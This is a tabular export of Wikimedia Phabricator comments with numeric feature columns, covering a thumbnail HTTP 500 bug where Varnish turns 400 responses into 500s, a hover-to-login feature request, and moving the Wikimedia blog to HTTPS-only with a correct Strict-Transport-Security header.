[[https://gerrit.wikimedia.org/r/227456]]",,,1438106820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.12,0.92,"Change 227456 merged by jenkins-bot:
Don't retry invalid thumbnail requests due to impossible width

[[GERRIT_URL]]"
498379,ThumbnailRender job spam due to HTTP 500s,"Change 227453 merged by jenkins-bot:
Gather more information about pre rendering 500s

[[https://gerrit.wikimedia.org/r/227453]]",,,1438106500,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,14.0,4.136363636363637,0.9090909090909091,"Change 227453 merged by jenkins-bot:
Gather more information about pre rendering 500s

[[GERRIT_URL]]"
498289,ThumbnailRender job spam due to HTTP 500s,"@fgiunchedi I remember that we ""fixed"" the 500/400 response for thumbs in T88412 and as seen above, the PHP returns the correct header at the moment. However I really can't figure out why Varnish turns that 400 into a 500. Any ideas?",,,1438099865,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,16.0,6.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,16.0,6.0,2.0,4.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9183673469387754,0.8571428571428571,"SCREEN_NAME I remember that we ""fixed"" the 500/400 response for thumbs in T88412 and as seen above, the PHP returns the correct header at the moment. However I really can't figure out why Varnish turns that 400 into a 500. Any ideas?"
498269,ThumbnailRender job spam due to HTTP 500s,"On beta I see the 400 translated in a 500 by Varnish, but I can't pinpoint in the Varnish config where this is happening:


```
curl -i ""http://commons.wikimedia.beta.wmflabs.org/w/thumb.php?f=Carl_Simon.jpg&width=793454""
```

Gives a 400, as expected. While the following gives a 500:


```
curl -H ""Host: upload.beta.wmflabs.org"" -i http://deployment-cache-upload02.eqiad.wmflabs/wikipedia/commons/thumb/3/3f/Carl_Simon.jpg/793454px-Carl_Simon.jpg
```

",,,1438098260,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,18.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.7941176470588235,"On beta I see the 400 translated in a 500 by Varnish, but I can't pinpoint in the Varnish config where this is happening:


``CODE`CODE`CODE``

"
498265,ThumbnailRender job spam due to HTTP 500s,"On beta I see the 400 translated in a 500 by Varnish, but I can't pinpoint in the Varnish config where this is happening:


```
curl -H ""Host: commons.wikimedia.beta.wmflabs.org"" -i ""http://10.68.16.16/w/thumb.php?f=Carl_Simon.jpg&width=793454""
```

Gives a 400, as expected. While the following gives a 500:


```
curl -H ""Host: upload.beta.wmflabs.org"" -i http://deployment-cache-upload02.eqiad.wmflabs/wikipedia/commons/thumb/3/3f/Carl_Simon.jpg/793454px-Carl_Simon.jpg
```

",,,1438098141,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,18.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.7941176470588235,"On beta I see the 400 translated in a 500 by Varnish, but I can't pinpoint in the Varnish config where this is happening:


``CODE`CODE`CODE``

"
498253,ThumbnailRender job spam due to HTTP 500s,"Change 227456 had a related patch set uploaded (by Gilles):
Don't retry invalid thumbnail requests due to impossible width

[[https://gerrit.wikimedia.org/r/227456]]
",,,1438096888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.066666666666666,0.9,"Change 227456 had a related patch set uploaded (by Gilles):
Don't retry invalid thumbnail requests due to impossible width

[[GERRIT_URL]]
"
498238,ThumbnailRender job spam due to HTTP 500s,"Change 227453 had a related patch set uploaded (by Gilles):
Gather more information about pre rendering 500s

[[https://gerrit.wikimedia.org/r/227453]]
",,,1438095447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,11.0,4.074074074074074,0.8888888888888888,"Change 227453 had a related patch set uploaded (by Gilles):
Gather more information about pre rendering 500s

[[GERRIT_URL]]
"
498229,ThumbnailRender job spam due to HTTP 500s,"Hah, just figured out what these files have in common. An uppercase .JPG in their page name.

What's happening isn't a huge deal, though, it just means that thumbnail pre-rendering at upload time wasn't working for those files.",,,1438094898,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,22.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.82,0.84,"Hah, just figured out what these files have in common. An uppercase .JPG in their page name.

What's happening isn't a huge deal, though, it just means that thumbnail pre-rendering at upload time wasn't working for those files."
498223,ThumbnailRender job spam due to HTTP 500s,"Hah, just figured out what these files have in common. A .JPG in their page name.

What's happening isn't a huge deal, though, it just means that thumbnail pre-rendering at upload time wasn't working for those files.",,,1438094619,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.693877551020408,0.8367346938775511,"Hah, just figured out what these files have in common. A .JPG in their page name.

What's happening isn't a huge deal, though, it just means that thumbnail pre-rendering at upload time wasn't working for those files."
106688,Add support for login and create account by hovering over login button,Hi @Ashley could you add support for loging by hovering over the login button like you can http://social-tools.wmflabs.org/wiki/Main_Page?useskin=bluesky here. That skin looks really nice. It should be the default on Wikimedia. But I would like to allow users to hover over the login button and login. Same goes for create account there should be a button that loads up the create form without having to leave page.,Medium,50.0,1437662784,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,False,PHID-TASK-mbs7qdokcz7xn5upzj24,task_description,open,True,c3,3,True,False,,3,True,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,17.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,4.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,20.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,11.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,4.140845070422535,0.7183098591549296,HiSCREEN_NAME could you add support for loging by hovering over the login button like you can URL here. That skin looks really nice. It should be the default on Wikimedia. But I would like to allow users to hover over the login button and login. Same goes for create account there should be a button that loads up the create form without having to leave page.
105905,Switch blog to HTTPS-only,"Now that we've [[ https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ | switched production to HTTPS-only ]], it would be great if our blog followed suit.

Initially it made sense to keep the blog on HTTP, so that the message could get through even to users that were having issues with HTTPS; however, now sufficient time has passed and we should actually move this forward.

The blog already works fine over HTTPS, with a certificate of our own.

Switching to HTTPS-only involves asking Automattic (our blog hoster) to do the following:
[x] Make sure embedded resources to http:// URLs within the page are https (I don't currently see any, but someone should double-check)
[x] Switch <link rel=canonical> to HTTPS; right now it's forced to http://, which means that search engines always point to our blog over HTTP. Same but less important for <link rel=shortlink>.
[x] Permanently redirect (301) all URLs (/.*) to their HTTPS equivalent.
[x] Set Strict-Transport-Security header to `max-age=31536000; includeSubDomains; preload`",Medium,50.0,1436978220,1485443018.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_description,resolved,True,c3,3,True,False,False,1,True,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,0.0,7.0,9.333333333333334,0.3333333333333333,2.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.0,1.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,2.0,1.0,10.666666666666666,1.6666666666666667,1.0,3.6666666666666665,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,4.0,9.333333333333334,4.666666666666667,0.0,0.0,0.0,4.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,6.333333333333333,3.657407407407407,0.7824074074074074,"Now that we've [[ URL | switched production to HTTPS-only ]], it would be great if our blog followed suit.

Initially it made sense to keep the blog on HTTP, so that the message could get through even to users that were having issues with HTTPS; however, now sufficient time has passed and we should actually move this forward.

The blog already works fine over HTTPS, with a certificate of our own.

Switching to HTTPS-only involves asking Automattic (our blog hoster) to do the following:
[x] Make sure embedded resources to http:// URLs within the page are https (I don't currently see any, but someone should double-check)
[x] Switch <link rel=canonical> to HTTPS; right now it's forced to URL which means that search engines always point to our blog over HTTP. Same but less important for <link rel=shortlink>.
[x] Permanently redirect (301) all URLs (/.*) to their HTTPS equivalent.
[x] Set Strict-Transport-Security header to CODE"
798286,Switch blog to HTTPS-only,"Confirmed correct current operation:
1) All HTTP access seems to redirect to HTTPS
2) All HTTPS requests send response header: `strict-transport-security: max-age=31536000; includeSubDomains; preload`

Thanks for chasing this down!",,,1485443018,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,82,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,4.117647058823529,0.8235294117647058,"Confirmed correct current operation:
1) All HTTP access seems to redirect to HTTPS
2) All HTTPS requests send response header: CODE

Thanks for chasing this down!"
797691,Switch blog to HTTPS-only,@BBlack Automattic has done this. Can someone check and make sure it's been set correctly before we close the ticket?,,,1485377205,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,81,True,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,4.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,1.0,SCREEN_NAME Automattic has done this. Can someone check and make sure it's been set correctly before we close the ticket?
780774,Switch blog to HTTPS-only,@EdErhart-WMF - Any update on setting the appropriate Strict-Transport-Security header on this service?,,,1482164842,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,76,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.65,0.8,SCREEN_NAME-WMF - Any update on setting the appropriate Strict-Transport-Security header on this service?
757437,Switch blog to HTTPS-only,@BBlack we're working on it now as part of a larger effort to tweak the blog's theme.,,,1478567409,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,70,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,3.65,1.0,SCREEN_NAME we're working on it now as part of a larger effort to tweak the blog's theme.
752835,Switch blog to HTTPS-only,@EdErhart-WMF are you the person now working on this?  Can we get a status update fixing the remaining issue (correct HSTS header)?,,,1477946298,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,69,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,3.8620689655172415,0.9310344827586207,SCREEN_NAME-WMF are you the person now working on this?  Can we get a status update fixing the remaining issue (correct HSTS header)?
733800,Switch blog to HTTPS-only,">>! In T105905#2463813, @Tbayer wrote:
>>>! In T105905#2463476, @faidon wrote:
 
>> After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). 
> I would have appreciated some coordination on this, which would also have helped the misunderstandings that apparently occurred with the support person today, and prevented the premature switchover at a point where nobody has worked yet on updating the canonical links (see below).
> 
>> I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.
> https://blog.wikimedia.org doesn't have a rel=canonical, but individual posts do. (If you read the updates on the Automattic support ticket from recent months, you will see a discussion about this difference.) And unfortunately the latter still points to the HTTP version - e.g. in https://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/ it's `<link rel=""canonical"" href=""http://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/"" />`. Same for the shortlinks.

For the record, the fix for the canonical URLs was deployed on July 27, so the blog was in the misconfigured state for about 13 days. I didn't check if there was an adverse SEO effect; in any case it should hopefully have recovered by now. (Also in July, @EdErhart-WMF and I met for an introduction to the blog's technical setup regarding Automattic, and hand over more of its technical management, now that there is a permanent person on the Comms team who can take this on. I'm going to unassign myself from this bug, as I understand he is going to shepherd the last remaining subtask.) ",,,1474645956,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,64,True,0.5,0.0,0.0,0.5,0.5,5.0,0.5,0.0,0.0,0.5,2.0,1.0,0.5,0.0,1.0,3.5,0.0,3.0,12.5,0.0,1.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.5,3.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,6.5,3.0,12.0,1.0,2.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.5,12.5,6.0,0.0,0.0,0.0,5.5,0.0,0.5,2.0,0.5,3.0,0.5,0.0,0.0,3.8074534161490687,0.7269151138716357,"QUOTE
QUOTE
 
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

For the record, the fix for the canonical URLs was deployed on July 27, so the blog was in the misconfigured state for about 13 days. I didn't check if there was an adverse SEO effect; in any case it should hopefully have recovered by now. (Also in July,SCREEN_NAME-WMF and I met for an introduction to the blog's technical setup regarding Automattic, and hand over more of its technical management, now that there is a permanent person on the Comms team who can take this on. I'm going to unassign myself from this bug, as I understand he is going to shepherd the last remaining subtask.) "
733704,Switch blog to HTTPS-only,">>! In T105905#2525620, @BBlack wrote:
> The blog is still sending the response header: `strict-transport-security: max-age=86400`.  It should be `strict-transport-security: max-age=31536000; includeSubDomains; preload`

@EdErhart-WMF: Do you plan to contact Automattic about changing this?",,,1474638819,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,22.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.111111111111111,0.8888888888888888,"QUOTE
QUOTE
SCREEN_NAME-WMF: Do you plan to contact Automattic about changing this?"
706492,Switch blog to HTTPS-only,">>! In T105905#2525418, @EdErhart-WMF wrote:
> @BBlack can you recheck this? Automattic shipped a few changes for us today. 

The blog is still sending the response header: `strict-transport-security: max-age=86400`.  It should be `strict-transport-security: max-age=31536000; includeSubDomains; preload`",,,1470363073,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6,0.9,"QUOTE
QUOTE

The blog is still sending the response header: CODE.  It should be CODE"
706487,Switch blog to HTTPS-only,@BBlack can you recheck this? Automattic shipped a few changes for us today. ,,,1470361471,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,57,True,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,4.533333333333333,1.0,SCREEN_NAME can you recheck this? Automattic shipped a few changes for us today. 
706482,Switch blog to HTTPS-only,@BBlack can you recheck this? Automattic just shipped a few changes for us today. ,,,1470359061,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,57,True,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,4.5,1.0,SCREEN_NAME can you recheck this? Automattic just shipped a few changes for us today. 
